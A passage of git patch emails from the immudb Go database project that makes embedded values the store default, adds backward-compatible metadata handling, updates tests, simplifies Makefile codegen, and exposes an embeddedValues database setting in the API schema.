t.TempDir() - opts := DefaultOptions().WithMaxConcurrency(3) + opts := DefaultOptions(). + WithEmbeddedValues(false). + WithMaxConcurrency(3) metadata := appendable.NewMetadata(nil) + metadata.PutInt(metaVersion, Version) + metadata.PutBool(metaEmbeddedValues, false) metadata.PutInt(metaFileSize, opts.FileSize) metadata.PutInt(metaMaxTxEntries, opts.MaxTxEntries) metadata.PutInt(metaMaxKeyLen, opts.MaxKeyLen) @@ -3037,7 +3057,9 @@ func BenchmarkExportTx(b *testing.B) { func TestImmudbStoreIncompleteCommitWrite(t *testing.T) { dir := t.TempDir() - immuStore, err := Open(dir, DefaultOptions()) + opts := DefaultOptions().WithEmbeddedValues(false) + + immuStore, err := Open(dir, opts) require.NoError(t, err) tx, err := immuStore.NewWriteOnlyTx(context.Background()) @@ -3076,7 +3098,7 @@ func TestImmudbStoreIncompleteCommitWrite(t *testing.T) { err = os.RemoveAll(filepath.Join(dir, "aht")) require.NoError(t, err) - immuStore, err = Open(dir, DefaultOptions()) + immuStore, err = Open(dir, opts) require.NoError(t, err) valRef, err := immuStore.Get([]byte("key1")) @@ -3491,6 +3513,7 @@ func TestImmudbStorePrecommittedTxLoading(t *testing.T) { opts := DefaultOptions(). WithSynced(false). + WithEmbeddedValues(false). WithExternalCommitAllowance(true) immuStore, err := Open(dir, opts) @@ -3551,6 +3574,7 @@ func TestImmudbStorePrecommittedTxDiscarding(t *testing.T) { opts := DefaultOptions(). WithSynced(false). + WithEmbeddedValues(false). WithExternalCommitAllowance(true) immuStore, err := Open(dir, opts) @@ -4328,6 +4352,7 @@ func TestImmudbStoreTruncateUptoTx_WithMultipleIOConcurrency(t *testing.T) { fileSize := 1024 opts := DefaultOptions(). + WithEmbeddedValues(false). WithFileSize(fileSize). WithMaxConcurrency(100). WithMaxIOConcurrency(5) @@ -4386,6 +4411,7 @@ func TestImmudbStoreTruncateUptoTx_WithSingleIOConcurrency(t *testing.T) { fileSize := 1024 opts := DefaultOptions(). + WithEmbeddedValues(false). WithFileSize(fileSize). WithMaxIOConcurrency(1) @@ -4445,6 +4471,7 @@ func TestImmudbStoreTruncateUptoTx_ForIdempotency(t *testing.T) { fileSize := 1024 opts := DefaultOptions(). + WithEmbeddedValues(false). WithFileSize(fileSize). WithMaxIOConcurrency(1) @@ -4507,6 +4534,7 @@ func TestImmudbStore_WithConcurrentWritersOnMultipleIO(t *testing.T) { fileSize := 1024 opts := DefaultOptions(). + WithEmbeddedValues(false). WithFileSize(fileSize). WithMaxConcurrency(100). WithMaxIOConcurrency(3) @@ -4566,6 +4594,7 @@ func TestImmudbStore_WithConcurrentTruncate(t *testing.T) { fileSize := 1024 opts := DefaultOptions(). + WithEmbeddedValues(false). WithFileSize(fileSize). WithMaxIOConcurrency(1) @@ -4639,6 +4668,7 @@ func TestExportTxWithTruncation(t *testing.T) { fileSize := 1024 opts := DefaultOptions(). + WithEmbeddedValues(false). WithFileSize(fileSize). WithMaxIOConcurrency(1) diff --git a/embedded/store/options.go b/embedded/store/options.go index 5932a91646..481503a465 100644 --- a/embedded/store/options.go +++ b/embedded/store/options.go @@ -40,7 +40,7 @@ const DefaultFileMode = os.FileMode(0755) const DefaultFileSize = multiapp.DefaultFileSize const DefaultCompressionFormat = appendable.DefaultCompressionFormat const DefaultCompressionLevel = appendable.DefaultCompressionLevel -const DefaultEmbeddedValues = false +const DefaultEmbeddedValues = true const DefaultTxLogCacheSize = 1000 const DefaultVLogCacheSize = 0 const DefaultMaxWaitees = 1000 @@ -290,7 +290,9 @@ func (opts *Options) Validate() error { return fmt.Errorf("%w: invalid MaxConcurrency", ErrInvalidOptions) } - if opts.MaxIOConcurrency <= 0 || opts.MaxIOConcurrency > MaxParallelIO { + if opts.MaxIOConcurrency <= 0 || + opts.MaxIOConcurrency > MaxParallelIO || + (opts.MaxIOConcurrency > 1 && opts.EmbeddedValues) { return fmt.Errorf("%w: invalid MaxIOConcurrency", ErrInvalidOptions) } From 70d8200465f8338803e43a9b66b3d0d5570fa25e Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 17 May 2023 14:51:09 -0300 Subject: [PATCH 0586/1062] test(pkg/server): adjust based on non-embedded values in store Signed-off-by: Jeronimo Irazabal --- pkg/integration/database_creation_test.go | 2 +- pkg/server/remote_storage_test.go | 2 +- pkg/truncator/truncator_test.go | 22 ++++++++++++++++++---- 3 files changed, 20 insertions(+), 6 deletions(-) diff --git a/pkg/integration/database_creation_test.go b/pkg/integration/database_creation_test.go index 3e61e7188c..de3677575b 100644 --- a/pkg/integration/database_creation_test.go +++ b/pkg/integration/database_creation_test.go @@ -68,7 +68,7 @@ func TestCreateDatabaseV2(t *testing.T) { MaxActiveTransactions: &schema.NullableUint32{Value: 30}, MvccReadSetLimit: &schema.NullableUint32{Value: 1_000}, MaxConcurrency: &schema.NullableUint32{Value: 10}, - MaxIOConcurrency: &schema.NullableUint32{Value: 2}, + MaxIOConcurrency: &schema.NullableUint32{Value: 1}, TxLogCacheSize: &schema.NullableUint32{Value: 2000}, VLogCacheSize: &schema.NullableUint32{Value: 2200}, VLogMaxOpenedFiles: &schema.NullableUint32{Value: 8}, diff --git a/pkg/server/remote_storage_test.go b/pkg/server/remote_storage_test.go index e2c73c568b..e00f287e68 100644 --- a/pkg/server/remote_storage_test.go +++ b/pkg/server/remote_storage_test.go @@ -400,7 +400,7 @@ func TestStoreOptionsForDBWithRemoteStorage(t *testing.T) { stOpts := s.databaseOptionsFrom(s.defaultDBOptions("testdb")).GetStoreOptions() - st, err := store.Open(filepath.Join(dir, "testdb"), stOpts) + st, err := store.Open(filepath.Join(dir, "testdb"), stOpts.WithEmbeddedValues(false)) require.NoError(t, err) tx, err := st.NewWriteOnlyTx(context.Background()) diff --git a/pkg/truncator/truncator_test.go b/pkg/truncator/truncator_test.go index 675c3cb9de..0a8c469c83 100644 --- a/pkg/truncator/truncator_test.go +++ b/pkg/truncator/truncator_test.go @@ -51,6 +51,7 @@ func TestDatabase_truncate_with_duration(t *testing.T) { so := options.GetStoreOptions() so.WithIndexOptions(so.IndexOpts.WithCompactionThld(2)). + WithEmbeddedValues(false). WithFileSize(6). WithVLogCacheSize(0). WithSynced(false) @@ -113,7 +114,10 @@ func TestDatabase_truncate_with_duration(t *testing.T) { func TestTruncator(t *testing.T) { options := database.DefaultOption().WithDBRootPath(t.TempDir()) - so := options.GetStoreOptions() + + so := options.GetStoreOptions(). + WithEmbeddedValues(false) + so.WithIndexOptions(so.IndexOpts.WithCompactionThld(2)). WithFileSize(6) options.WithStoreOptions(so) @@ -136,8 +140,12 @@ func TestTruncator(t *testing.T) { func TestTruncator_with_truncation_frequency(t *testing.T) { options := database.DefaultOption().WithDBRootPath(t.TempDir()).WithCorruptionChecker(false) - so := options.GetStoreOptions() + + so := options.GetStoreOptions(). + WithEmbeddedValues(false) + so.WithIndexOptions(so.IndexOpts.WithCompactionThld(2)).WithFileSize(6) + options.WithStoreOptions(so) db := makeDbWith(t, "db", options) @@ -195,7 +203,10 @@ func Test_getTruncationTime(t *testing.T) { func TestTruncator_with_retention_period(t *testing.T) { options := database.DefaultOption().WithDBRootPath(t.TempDir()) - so := options.GetStoreOptions() + + so := options.GetStoreOptions(). + WithEmbeddedValues(false) + so.WithIndexOptions(so.IndexOpts.WithCompactionThld(2)).WithFileSize(6) options.WithStoreOptions(so) @@ -230,7 +241,10 @@ func (m *mockTruncator) TruncateUptoTx(context.Context, uint64) error { func TestTruncator_with_nothing_to_truncate(t *testing.T) { options := database.DefaultOption().WithDBRootPath(t.TempDir()) - so := options.GetStoreOptions() + + so := options.GetStoreOptions(). + WithEmbeddedValues(false) + so.WithIndexOptions(so.IndexOpts.WithCompactionThld(2)).WithFileSize(6) options.WithStoreOptions(so) From 814137be0b9e98d13fae57950659078d775b6e01 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 17 May 2023 17:57:25 -0300 Subject: [PATCH 0587/1062] chore(embedded/store): backward compatible embedded value mode Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 32 +++++++++++++++++++------------- embedded/store/immustore_test.go | 13 ++++++++----- pkg/database/database_test.go | 4 +++- pkg/database/scan_test.go | 1 + pkg/database/truncator_test.go | 4 ++++ pkg/server/db_options.go | 19 +++++++++++-------- 6 files changed, 46 insertions(+), 27 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 47a8d1b5c3..2fb4104dbe 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -239,11 +239,11 @@ func Open(path string, opts *Options) (*ImmuStore, error) { metadata := appendable.NewMetadata(nil) metadata.PutInt(metaVersion, Version) + metadata.PutBool(metaEmbeddedValues, opts.EmbeddedValues) metadata.PutInt(metaMaxTxEntries, opts.MaxTxEntries) metadata.PutInt(metaMaxKeyLen, opts.MaxKeyLen) metadata.PutInt(metaMaxValueLen, opts.MaxValueLen) metadata.PutInt(metaFileSize, opts.FileSize) - metadata.PutBool(metaEmbeddedValues, opts.EmbeddedValues) appendableOpts := multiapp.DefaultOptions(). WithReadOnly(opts.ReadOnly). @@ -279,9 +279,16 @@ func Open(path string, opts *Options) (*ImmuStore, error) { } + metadata = appendable.NewMetadata(cLog.Metadata()) + + embeddedValues, ok := metadata.GetBool(metaEmbeddedValues) + if !ok { + embeddedValues = false + } + var vLogs []appendable.Appendable - if !opts.EmbeddedValues { + if !embeddedValues { vLogs = make([]appendable.Appendable, opts.MaxIOConcurrency) appendableOpts.WithFileExt("val") appendableOpts.WithCompressionFormat(opts.CompressionFormat) @@ -305,10 +312,6 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable return nil, fmt.Errorf("%w: invalid txLog or cLog", ErrIllegalArguments) } - if (len(vLogs) == 0 && !opts.EmbeddedValues) || (len(vLogs) != 0 && opts.EmbeddedValues) { - return nil, fmt.Errorf("%w: invalid vLogs", ErrIllegalArguments) - } - err := opts.Validate() if err != nil { return nil, fmt.Errorf("%w: %s", ErrIllegalArguments, err) @@ -318,37 +321,40 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable version, ok := metadata.GetInt(metaVersion) if !ok { - return nil, fmt.Errorf("corrupted commit log metadata (Version): %w", ErrCorruptedCLog) + return nil, fmt.Errorf("%w: can not read '%s' from metadata", ErrCorruptedCLog, "Version") } embeddedValues, ok := metadata.GetBool(metaEmbeddedValues) if !ok { if version >= 2 { - return nil, fmt.Errorf("corrupted commit log metadata (EmbeddedValues): %w", ErrCorruptedCLog) + return nil, fmt.Errorf("%w: can not read '%s' from metadata", ErrCorruptedCLog, "EmbeddedValues") } embeddedValues = false } + if (len(vLogs) == 0 && !embeddedValues) || (len(vLogs) != 0 && embeddedValues) { + return nil, fmt.Errorf("%w: invalid vLogs", ErrIllegalArguments) + } + fileSize, ok := metadata.GetInt(metaFileSize) if !ok { - return nil, fmt.Errorf("corrupted commit log metadata (FileSize): %w", ErrCorruptedCLog) + return nil, fmt.Errorf("%w: can not read '%s' from metadata", ErrCorruptedCLog, "FileSize") } maxTxEntries, ok := metadata.GetInt(metaMaxTxEntries) if !ok { - return nil, fmt.Errorf("corrupted commit log metadata (MaxTxEntries): %w", ErrCorruptedCLog) + return nil, fmt.Errorf("%w: can not read '%s' from metadata", ErrCorruptedCLog, "MaxTxEntries") } maxKeyLen, ok := metadata.GetInt(metaMaxKeyLen) if !ok { - return nil, fmt.Errorf("corrupted commit log metadata (MaxKeyLen): %w", ErrCorruptedCLog) + return nil, fmt.Errorf("%w: can not read '%s' from metadata", ErrCorruptedCLog, "MaxKeyLen") } maxValueLen, ok := metadata.GetInt(metaMaxValueLen) if !ok { - return nil, fmt.Errorf("corrupted commit log metadata (MaxValueLen): %w", ErrCorruptedCLog) - + return nil, fmt.Errorf("%w: can not read '%s' from metadata", ErrCorruptedCLog, "MaxValueLen") } cLogSize, err := cLog.Size() diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 807854b5f4..8df2eb130b 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -311,7 +311,9 @@ func TestImmudbStoreEdgeCases(t *testing.T) { if subPath == failedAppendable { return nil, injectedError } - return &mocked.MockedAppendable{}, nil + return &mocked.MockedAppendable{ + MetadataFn: func() []byte { return nil }, + }, nil })) require.ErrorIs(t, err, injectedError) } @@ -332,10 +334,11 @@ func TestImmudbStoreEdgeCases(t *testing.T) { } cLog := &mocked.MockedAppendable{ - CloseFn: func() error { return nil }, - AppendFn: func(bs []byte) (off int64, n int, err error) { return 0, len(bs), nil }, - FlushFn: func() error { return nil }, - SyncFn: func() error { return nil }, + MetadataFn: func() []byte { return nil }, + CloseFn: func() error { return nil }, + AppendFn: func(bs []byte) (off int64, n int, err error) { return 0, len(bs), nil }, + FlushFn: func() error { return nil }, + SyncFn: func() error { return nil }, } t.Run("should fail reading fileSize from metadata", func(t *testing.T) { diff --git a/pkg/database/database_test.go b/pkg/database/database_test.go index c04cc47b65..798a446871 100644 --- a/pkg/database/database_test.go +++ b/pkg/database/database_test.go @@ -2169,7 +2169,9 @@ db := makeDb(t) func Test_database_truncate(t *testing.T) { options := DefaultOption().WithDBRootPath(t.TempDir()) - options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)). + options.storeOpts. + WithEmbeddedValues(false). + WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)). WithFileSize(8). WithVLogCacheSize(0) diff --git a/pkg/database/scan_test.go b/pkg/database/scan_test.go index 3efe651a72..0a05b7a1ce 100644 --- a/pkg/database/scan_test.go +++ b/pkg/database/scan_test.go @@ -276,6 +276,7 @@ func TestStoreScanWithTruncation(t *testing.T) { options.storeOpts.MaxIOConcurrency = 1 options.storeOpts.MaxConcurrency = 500 options.storeOpts.VLogCacheSize = 0 + options.storeOpts.EmbeddedValues = false db := makeDbWith(t, "db", options) diff --git a/pkg/database/truncator_test.go b/pkg/database/truncator_test.go index c32176bf31..a4cef9025c 100644 --- a/pkg/database/truncator_test.go +++ b/pkg/database/truncator_test.go @@ -80,6 +80,7 @@ func Test_vlogCompactor_WithMultipleIO(t *testing.T) { options.storeOpts.MaxIOConcurrency = 5 options.storeOpts.MaxConcurrency = 500 options.storeOpts.VLogCacheSize = 0 + options.storeOpts.EmbeddedValues = false db := makeDbWith(t, "db", options) @@ -125,6 +126,7 @@ func Test_vlogCompactor_WithSingleIO(t *testing.T) { options.storeOpts.MaxIOConcurrency = 1 options.storeOpts.MaxConcurrency = 500 options.storeOpts.VLogCacheSize = 0 + options.storeOpts.EmbeddedValues = false db := makeDbWith(t, "db", options) @@ -183,6 +185,7 @@ func Test_vlogCompactor_WithConcurrentWritersOnSingleIO(t *testing.T) { options.storeOpts.MaxIOConcurrency = 1 options.storeOpts.MaxConcurrency = 500 options.storeOpts.VLogCacheSize = 0 + options.storeOpts.EmbeddedValues = false db := makeDbWith(t, "db", options) @@ -305,6 +308,7 @@ func setupCommonTest(t *testing.T) *db { options := DefaultOption().WithDBRootPath(rootPath) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(1024) options.storeOpts.VLogCacheSize = 0 + options.storeOpts.EmbeddedValues = false db := makeDbWith(t, "db1", options) return db diff --git a/pkg/server/db_options.go b/pkg/server/db_options.go index 33d357e88d..e6c42f4fa4 100644 --- a/pkg/server/db_options.go +++ b/pkg/server/db_options.go @@ -55,10 +55,11 @@ type dbOptions struct { WaitForIndexing bool `json:"waitForIndexing"` // store options - FileSize int `json:"fileSize"` // permanent - MaxKeyLen int `json:"maxKeyLen"` // permanent - MaxValueLen int `json:"maxValueLen"` // permanent - MaxTxEntries int `json:"maxTxEntries"` // permanent + EmbeddedValues bool `json:"embeddedValues"` // permanent + FileSize int `json:"fileSize"` // permanent + MaxKeyLen int `json:"maxKeyLen"` // permanent + MaxValueLen int `json:"maxValueLen"` // permanent + MaxTxEntries int `json:"maxTxEntries"` // permanent ExcludeCommitTime bool `json:"excludeCommitTime"` @@ -139,10 +140,11 @@ func (s *ImmuServer) defaultDBOptions(dbName string) *dbOptions { synced: s.Options.synced, SyncFrequency: Milliseconds(store.DefaultSyncFrequency.Milliseconds()), - FileSize: DefaultStoreFileSize, - MaxKeyLen: store.DefaultMaxKeyLen, - MaxValueLen: DefaultMaxValueLen, - MaxTxEntries: store.DefaultMaxTxEntries, + EmbeddedValues: store.DefaultEmbeddedValues, + FileSize: DefaultStoreFileSize, + MaxKeyLen: store.DefaultMaxKeyLen, + MaxValueLen: DefaultMaxValueLen, + MaxTxEntries: store.DefaultMaxTxEntries, ExcludeCommitTime: false, @@ -263,6 +265,7 @@ func (opts *dbOptions) storeOptions() *store.Options { } stOpts := store.DefaultOptions(). + WithEmbeddedValues(opts.EmbeddedValues). WithSynced(opts.synced). WithSyncFrequency(time.Millisecond * time.Duration(opts.SyncFrequency)). WithFileSize(opts.FileSize). From a1b7c239f71d9d723afdb25a72f1d4ec9058ea75 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 22 May 2023 20:12:04 -0300 Subject: [PATCH 0588/1062] chore: simplified codegen Signed-off-by: Jeronimo Irazabal --- Makefile | 30 +++++------------------------- 1 file changed, 5 insertions(+), 25 deletions(-) diff --git a/Makefile b/Makefile index 5bce3b0bcc..14aa455d67 100644 --- a/Makefile +++ b/Makefile @@ -163,33 +163,13 @@ build/codegen: $(PROTOC) -I pkg/api/schema/ pkg/api/schema/schema.proto \ -I$(GOPATH)/pkg/mod \ - -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ - --go_out=paths=source_relative:pkg/api/schema \ - --go-grpc_out=require_unimplemented_servers=false,paths=source_relative:pkg/api/schema \ - --plugin=protoc-gen-go=protoc-gen-go \ - --plugin=protoc-gen-go-grpc=protoc-gen-go-grpc - - $(PROTOC) -I pkg/api/schema/ pkg/api/schema/schema.proto \ - -I$(GOPATH)/pkg/mod \ -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ - -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ - --grpc-gateway_out=logtostderr=true,paths=source_relative:pkg/api/schema \ - --plugin=protoc-gen-grpc-gateway=protoc-gen-grpc-gateway - - $(PROTOC) -I pkg/api/schema/ pkg/api/schema/schema.proto \ - -I$(GOPATH)/pkg/mod \ - -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ - -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ - --swagger_out=logtostderr=true:pkg/api/schema \ - --plugin=protoc-gen-swagger=protoc-gen-swagger - - $(PROTOC) -I pkg/api/schema/ pkg/api/schema/schema.proto \ - -I$(GOPATH)/pkg/mod \ - -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION)/third_party/googleapis \ - -I$(GOPATH)/pkg/mod/github.com/grpc-ecosystem/grpc-gateway@$(GRPC_GATEWAY_VERSION) \ - --doc_out=pkg/api/schema --doc_opt=markdown,docs.md \ - --plugin=protoc-gen-doc=protoc-gen-doc + --go_out=paths=source_relative:pkg/api/schema \ + --go-grpc_out=require_unimplemented_servers=false,paths=source_relative:pkg/api/schema + --grpc-gateway_out=logtostderr=true,paths=source_relative:pkg/api/schema + --doc_out=pkg/api/schema --doc_opt=markdown,docs.md + --swagger_out=logtostderr=true:pkg/api/schema .PHONY: build/codegenv2 build/codegenv2: From 0c28abd34d86eef43b28cecbe8f4fa79b76d7981 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 22 May 2023 20:12:26 -0300 Subject: [PATCH 0589/1062] chore(pkg/api): expose embeddedValue database setting Signed-off-by: Jeronimo Irazabal --- pkg/api/schema/docs.md | 1 + pkg/api/schema/schema.pb.go | 2213 +++++++++++---------- pkg/api/schema/schema.pb.gw.go | 42 +- pkg/api/schema/schema.proto | 3 + pkg/api/schema/schema.swagger.json | 6 +- pkg/api/schema/schema_grpc.pb.go | 280 +-- pkg/integration/database_creation_test.go | 2 + pkg/server/db_options.go | 20 +- 8 files changed, 1302 insertions(+), 1265 deletions(-) diff --git a/pkg/api/schema/docs.md b/pkg/api/schema/docs.md index aa45c0dc31..d9b3f42620 100644 --- a/pkg/api/schema/docs.md +++ b/pkg/api/schema/docs.md @@ -473,6 +473,7 @@ DEPRECATED | mvccReadSetLimit | [NullableUint32](#immudb.schema.NullableUint32) | | Limit the number of read entries per transaction | | vLogCacheSize | [NullableUint32](#immudb.schema.NullableUint32) | | Size of the LRU cache for value logs | | truncationSettings | [TruncationNullableSettings](#immudb.schema.TruncationNullableSettings) | | Truncation settings | +| embeddedValues | [NullableBool](#immudb.schema.NullableBool) | | If set to true, values are stored together with the transaction header (true by default) | diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index 17cdaed3bf..d9ce8e082e 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -15,19 +15,19 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.28.0 -// protoc v3.11.4 +// protoc-gen-go v1.28.1 +// protoc v3.21.12 // source: schema.proto package schema import ( - empty "github.com/golang/protobuf/ptypes/empty" - _struct "github.com/golang/protobuf/ptypes/struct" _ "github.com/grpc-ecosystem/grpc-gateway/protoc-gen-swagger/options" _ "google.golang.org/genproto/googleapis/api/annotations" protoreflect "google.golang.org/protobuf/reflect/protoreflect" protoimpl "google.golang.org/protobuf/runtime/protoimpl" + emptypb "google.golang.org/protobuf/types/known/emptypb" + structpb "google.golang.org/protobuf/types/known/structpb" reflect "reflect" sync "sync" ) @@ -5677,6 +5677,8 @@ type DatabaseNullableSettings struct { VLogCacheSize *NullableUint32 `protobuf:"bytes,28,opt,name=vLogCacheSize,proto3" json:"vLogCacheSize,omitempty"` // Truncation settings TruncationSettings *TruncationNullableSettings `protobuf:"bytes,29,opt,name=truncationSettings,proto3" json:"truncationSettings,omitempty"` + // If set to true, values are stored together with the transaction header (true by default) + EmbeddedValues *NullableBool `protobuf:"bytes,30,opt,name=embeddedValues,proto3" json:"embeddedValues,omitempty"` } func (x *DatabaseNullableSettings) Reset() { @@ -5872,6 +5874,13 @@ func (x *DatabaseNullableSettings) GetTruncationSettings() *TruncationNullableSe return nil } +func (x *DatabaseNullableSettings) GetEmbeddedValues() *NullableBool { + if x != nil { + return x.EmbeddedValues + } + return nil +} + type ReplicationNullableSettings struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -8130,11 +8139,11 @@ func (m *SQLValue) GetValue() isSQLValue_Value { return nil } -func (x *SQLValue) GetNull() _struct.NullValue { +func (x *SQLValue) GetNull() structpb.NullValue { if x, ok := x.GetValue().(*SQLValue_Null); ok { return x.Null } - return _struct.NullValue(0) + return structpb.NullValue(0) } func (x *SQLValue) GetN() int64 { @@ -8184,7 +8193,7 @@ type isSQLValue_Value interface { } type SQLValue_Null struct { - Null _struct.NullValue `protobuf:"varint,1,opt,name=null,proto3,enum=google.protobuf.NullValue,oneof"` + Null structpb.NullValue `protobuf:"varint,1,opt,name=null,proto3,enum=google.protobuf.NullValue,oneof"` } type SQLValue_N struct { @@ -9436,7 +9445,7 @@ var file_schema_proto_rawDesc = []byte{ 0x6c, 0x75, 0x65, 0x22, 0x2c, 0x0a, 0x14, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x22, 0xca, 0x0d, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, + 0x65, 0x22, 0x8f, 0x0e, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x5c, 0x0a, 0x13, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2a, 0x2e, 0x69, 0x6d, @@ -9544,907 +9553,912 @@ var file_schema_proto_rawDesc = []byte{ 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x12, 0x74, 0x72, 0x75, 0x6e, - 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0xc8, - 0x07, 0x0a, 0x1b, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x75, - 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x35, - 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x07, 0x72, 0x65, - 0x70, 0x6c, 0x69, 0x63, 0x61, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, - 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, - 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x3f, - 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, + 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x43, + 0x0a, 0x0e, 0x65, 0x6d, 0x62, 0x65, 0x64, 0x64, 0x65, 0x64, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x73, + 0x18, 0x1e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, + 0x6f, 0x6f, 0x6c, 0x52, 0x0e, 0x65, 0x6d, 0x62, 0x65, 0x64, 0x64, 0x65, 0x64, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x73, 0x22, 0xc8, 0x07, 0x0a, 0x1b, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, + 0x6e, 0x67, 0x73, 0x12, 0x35, 0x0a, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, + 0x6c, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, + 0x69, 0x6d, 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 